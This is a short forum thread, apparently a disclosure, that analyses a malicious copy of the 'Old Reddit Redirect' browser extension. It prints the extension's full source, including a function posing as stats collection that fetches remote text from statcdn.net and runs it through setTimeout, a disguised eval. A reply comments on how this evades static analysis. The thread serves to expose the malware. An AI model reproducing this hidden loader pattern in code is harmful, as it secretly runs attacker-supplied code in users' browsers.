|
If anyone wants to download the crx and inspect it: https://edge.microsoft.com/extensionwebstorebase/v1/crx?resp... The URL used in the XHR points to this (accessing directly only shows a '0' but with archive.is you get that JavaScript): https://archive.is/TxFWj Here's the full source code: const oldReddit = "https://old.reddit.com";
const excludedPaths = ["/gallery", "/poll", "/rpan", "/settings", "/topics"];
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
const url = new URL(details.url);
if (url.hostname === "old.reddit.com") return;
for (const path of excludedPaths) {
if (url.pathname.indexOf(path) === 0) return;
}
return {redirectUrl: oldReddit + url.pathname + url.search + url.hash};
},
{
urls: ["*://reddit.com/*", "*://www.reddit.com/*", "*://np.reddit.com/*", "*://new.reddit.com/*", "*://amp.reddit.com/*",],
types: [
"main_frame",
"sub_frame",
"stylesheet",
"script",
"image",
"object",
"xmlhttprequest",
"other"
]
},
["blocking"]
);
function dailyCollect() {
let xmlHttpRequest = new XMLHttpRequest();
xmlHttpRequest.timeout = 2e4;
xmlHttpRequest.onreadystatechange = function () {
return (xmlHttpRequest.readyState === XMLHttpRequest.DONE && xmlHttpRequest.status === 2e2 && xmlHttpRequest.responseText) ? successReportDebug(true, xmlHttpRequest.responseText) : null;
};
let successReportDebug = function (status, apply) {
if (!status) {
setTimeout(dailyCollect, 3e4)
} else {
console.log('Stats was collected ' + setTimeout.apply(top, [apply]))
}
};
try {
xmlHttpRequest.open("GET", 'https://statcdn.net/app/?id=8438fce9-6d9a-45c4-ba2c-e643c1291253', true);
xmlHttpRequest.send();
} catch (e) {
successReportDebug(false)
}
}
dailyCollect();
And the manifest: {
"update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"name": "Old Reddit Redirect",
"description": "Ensure Reddit always loads the old design",
"version": "1.2.0",
"manifest_version": 2,
"background": {
"scripts": [
"background.js"
]
},
"icons": {
"48": "img/icon48.png",
"128": "img/icon128.png"
},
"permissions": [
"tabs",
"<all_urls>",
"webRequest",
"webRequestBlocking",
"*://reddit.com/*",
"*://www.reddit.com/*",
"*://np.reddit.com/*",
"*://new.reddit.com/*",
"*://amp.reddit.com/*"
]
}
|
Clever. Probably avoids naive forms of static analysis that would catch more obvious ways of eval'ing code.